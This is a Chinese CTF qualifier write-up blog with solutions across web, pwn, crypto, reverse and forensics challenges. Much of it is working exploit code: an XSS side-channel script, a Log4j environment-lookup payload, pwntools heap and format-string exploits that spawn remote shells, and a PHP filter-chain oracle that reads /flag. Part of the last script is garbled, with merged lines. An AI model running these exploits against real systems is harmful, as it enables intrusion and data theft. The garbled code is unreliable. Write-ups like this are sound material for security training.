AndyNoel's Blog

被队友带飞了，本来一直是总榜第一，后来吉林大学的师傅们TQL，最后5min出了PWN侧信道成功反超我们，后面再加上取证我们也只能屈居分区第二（总榜第二）了呜呜呜~不过，好歹算是“有惊无险”进入决赛了，师傅们北京见！

Web

AirticleShare

原题，唯一的改动是把 show.php 改成了 lookup.php，不过题目环境不太好，一直把 sleep 改大 改到 6 才能顺利跑通

import requests
import time

s = requests.Session()

base_url = "http://112.74.185.213:46791/"

res = s.get(base_url)

pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]

ss = "1234567890abcdef"
flag = ""

for i in range(16):
    for j in ss:
        payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\"a[href^='/lookup.php?id={flag + j}']\" autofocus></form>"
        data = {'c': csrftoken, 'content': payload}
        res = s.post(base_url + "add.php", data=data, allow_redirects=False)
        # print(res.headers)
        location = res.headers['Location']
        pos = location.find('id=') + 3
        wp = location[pos:]
        data = {'c': csrftoken, 'id': wp}
        res = s.post(base_url + "admin.php", data=data)
        time.sleep(6)

        res = s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
        # print(res.text)
        txt = res.text.replace("\n", "").replace("\r", "")
        if "Liked by</h3>admin" not in txt:
            flag += j
            print(i,flag)
            break

​​

然后带着这个 id 去访问

​​

参考文章： https://blog.zeddyu.info/2020/01/08/36c3-web/#writeupbin

MyLinuxBot

根据代码和提示可以简单猜测和 log4j 相关的题目，但是这里没有给出 jar 包源码，说这个不关键

​​

上网随手一搜搜出来了原题 GoogleCTF2022-Log4j

这里这道题只是对 python 代码做了简单的混淆，按照 https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/，直接打里面的非预期就能通

${bundle:${env:FLAG}}

​​

pwn

Uaf

直接l用ubin可以leak，然后利用admin中的哪个任意地址写打exit_hook就行了

其实不至于这么麻烦的emmmm，然后发现只用里面的哪个格式化字符串就可以单独完成这个漏洞的利用：

#encoding = utf-8
import os
import sys
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = remote('120.78.209.16',40894)
#p = process('./main')
elf = ELF('./main')
libc = ELF('./libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('>> \n',cho)

def login():
        choice(5)
        sa('Passwd: \n','1234567890')

def pwn():
        login()
        #debug()
        sla("Tell me ur name: \n",'%19$p')
        ru('0x')
        libcbase = int(r(12),16) - 0x7fc55edc1083 + 0x7fc55ed9d000
        leak('libcbase',libcbase)
        exithook = libcbase + 0x222060 + 3848
        og = libcbase + 0xe6c7e
        sla('>> \n','2')
        p.sendafter('WRITE MODE: \n',p64(exithook))
        sleep(1)
        p.send(p64(og))
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Admin

出题人万岁，退役之前还能拿个一血开心

非预期，就是过滤了flag但是没过滤f*就出了

cat f*

Crypto

ezrsa

等式前边通分、分子等分子、分母等分母

解方程

from Crypto.Util.number import *
from gmpy2 import *
import sympy
n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999
X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

p = sympy.Symbol('p')
q = sympy.Symbol('q')
f1 = p - q + 1 - (-X - 2 * Y)
f2 = p * q - n
result = sympy.solve([f1,f2],[p,q])
print(result)
p = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
q = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Re

justamat

​​

一开始给v0赋值 there_are_a_lot_useless_information_but_oh.o0O_​

然后是输出和读入的过程

​​

这里v14就是输入的长度，根据长度选择流程，这里应该是大于15的

​​

这里进行字符串拼接，动调发现就是str1+input+str2​

然后用do...while写了一个遍历，把str1+input+str2​存入v5，也就是后面的v16

​​

然后进这个函数中

​​

双字节提取出来

​​

这个do..while循环就是主要逻辑

这里直接 用z3求解

from z3 import*
s=Solver()
flag = [Int("flag%d" % i) for i in range(100)]
a = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74, 0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17, 0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]
b = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD, 0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD, 0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE, 0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063, 0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3, 0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD, 0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018, 0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC, 0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A, 0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]

print(len(a))
for j in range(10):
    for k in range(10):
        i = k
        v8 = 0
        for m in range(10):
            v9 = flag[j*10+m] * b[i+m*10]
            #i += 10
            v8 += v9
        s.add(v8==a[k+j*10])

if s.check() == sat:
    m = s.model()
    for f in flag:
        print(chr(m[f].as_long()),end='')

Misc

签到

​​

排队队吃果果

每一列excel按照数值升序排序，然后粗的是1，可以用Excel条件格式批量实现：

​​

重新设置一下宽高就好了：

​​

flag{35b6f3ed-9d28-93b8-e124-39f8ec3376b2}

取证

1、

看字面意思应该是任务开始的时候

​​

2、

​​

3、

​​

4、

手机取证软件直接就有

​​

5、

取证软件里面就有

​​

6、

​​​​

7、

火眼出

​​

8、

​​​​

9、

同上题图

10、

​​

11、

​​

12、

在sd卡里面找到找到calllog.txt用base64解密，就看到了通话记录

发现有两次

​​

13、

两次，一次AES，一次base64

​​

14、

找到了一个getkey的函数

​​

里面对字符串lijubdyhfurindhcbxdw

根据函数特征猜测应该是base64加密后取前16位

​​

bGlqdWJkeWhmdXJp

找到sms.txt解密发现有效

package script;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import javax.crypto.Cipher;

public class aes_dec {
    public static void decrypt() {
        try {
            String key= "bGlqdWJkeWhmdXJp";
            String enc = "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";
            byte[] enc_b64decode = Base64.getDecoder().decode(enc);
            SecretKeySpec key_init = new SecretKeySpec(key.getBytes("utf-8"), "AES");
            Cipher decode = Cipher.getInstance("AES/ECB/NoPadding");
            decode.init(Cipher.DECRYPT_MODE,key_init);
            byte[] enc_aesdecode = decode.doFinal(enc_b64decode);
            String flag = new String(enc_aesdecode, "utf-8");
            System.out.println(flag);
        }
        catch(Exception v5_1) {
            v5_1.printStackTrace();
        }
    }
}

15、

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这次CTF部分打的可以，抢了一个Misc二血。但是取证拉了。。。呜呜呜，要好好学取证了捏

PWN

takeway

就可以随意地址申请堆块，先改最大堆块数，然后在elf地址上泄露一个stdout，之后就打free_hook就行了，版本是2.31_9.9

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

add_idx = 1
delete_idx = 2
edit_idx = 3
context.arch = 'amd64'
p = remote('101.200.234.115',46498)
#p = process('./takeway')
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('Please input your choose: ',cho)

def add(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        sla('Please input your food name: ',name)
        sla('a remark: ',content)

def delete(idx):
        choice(delete_idx)
        sla('Please input your order index: ',idx)

def edit(idx,content):
        choice(edit_idx)
        sla('Please input index: ',idx)
        p.sendlineafter('New food name is: ',content)

def add1(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        p.sendlineafter('Please input your food name: ',name)
        p.sendlineafter('a remark: ',content)

def pwn():
        add(0,'banana','xj')
        add(1,'banana','xj')
        delete(0)
        delete(1)
        edit(1,p64(0x0404080))
        add(2,'banana','xj')
        add(3,'bananaa','fffffff')
        choice(edit_idx)
        sla('Please input index: ',3)
        ru('fff\n')
        out = uu64(r(6))
        leak('stdout',out)
        p.sendlineafter('New food name is: ','cat')
        libcbase = out-(0x7f881942f6a0 - 0x7f8819242000)
        leak('libcbase',libcbase)
        delete(0)
        delete(1)
        edit(1,p64(libcbase + libc.sym['__free_hook']))
        add(4,'cat','cat')
        choice(add_idx)
        sla('Please input your order index\n',7)
        p.sendafter('Please input your food name: ',p64(libcbase+libc.sym['system']))
        p.sendlineafter('a remark: ','aa')
        leak('free',libcbase + libc.sym['__free_hook'])
        edit(1,'/bin/sh')
        #debug()
        delete(1)
        #debug()
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

WEB

Lovephp

第一个 tricks https://bugs.php.net/bug.php?id=81151

第二个 tricks 是这里的这个参数怎么传入，在 ctfshow 中也有过相应题目，看到 main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

为了某些特殊的需要，我们发现 PHP 会将 空格、. 转化为下划线，但是如果这里有 [ 的话会直接 break 掉，然后在 is_array==1 的时候会调用如下内容

main/php_variables.c#L191-L195：

if (!ip) {
    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

这里我们的 [ 会被替换为 _ 但是后续却没有再继续进行 . 和 空格 的检测，最终构造 paylaod 如下：my[secret.flag=C:8:"Saferman":0:{}​

然后就是 file() 函数的利用，参考 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

http://tttang.com/archive/1395/#toc_craft-base64-payload

这里是一个 PHP Devlopment Sever，重新用脚本 fuzz 一下，直接读 /flag

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
        return '|'.join(x)

def err(s):
        print(s)
        raise ValueError

def req(s):
        params = {
                'secret': f'php://filter/{s}/resource=/flag',
                "my[secret.flag":'C:8:"Saferman":0:{}'
        }
        return requests.post('http://39.105.5.7:45123/index.php', params=params).status_code == 500"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')
baseline_blowup = 0for n in range(100):
        payload = join(*[blow_up_utf32]*n)
        if req(f'{header}|{payload}'):
                baseline_blowup = n
                breakelse:
        err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
        req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
        err('something wrong')
if j[0] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
        header = f'convert.base64-encode|convert.base64-encode'else:
        err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
        global flip, r2, r4
        o = []
        chunk = n // 2if chunk % 2 == 1: o.append(r4)
        o.extend([flip, r4] * (chunk // 2))
        if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
        return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
        if not req(f'{prefix}|dechunk|{blow_up_inf}'):
                # a-f A-F 0-9if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
                        # a-efor n in range(5):
                                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'edcba'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # A-Efor n in range(5):
                                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'EDCBA'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
                        return '*'
                elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # freturn 'f'
                elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Freturn 'F'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
                # n-s N-Sif not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
                        # n-rfor n in range(5):
                                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'rqpon'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # N-Rfor n in range(5):
                                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'RQPON'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # sreturn 's'
                elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Sreturn 'S'else:
                        err('something wrong')
        elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # i j kif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'k'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'j'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'i'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # I J Kif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'K'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'J'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'I'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # v w xif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'x'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'w'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'v'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
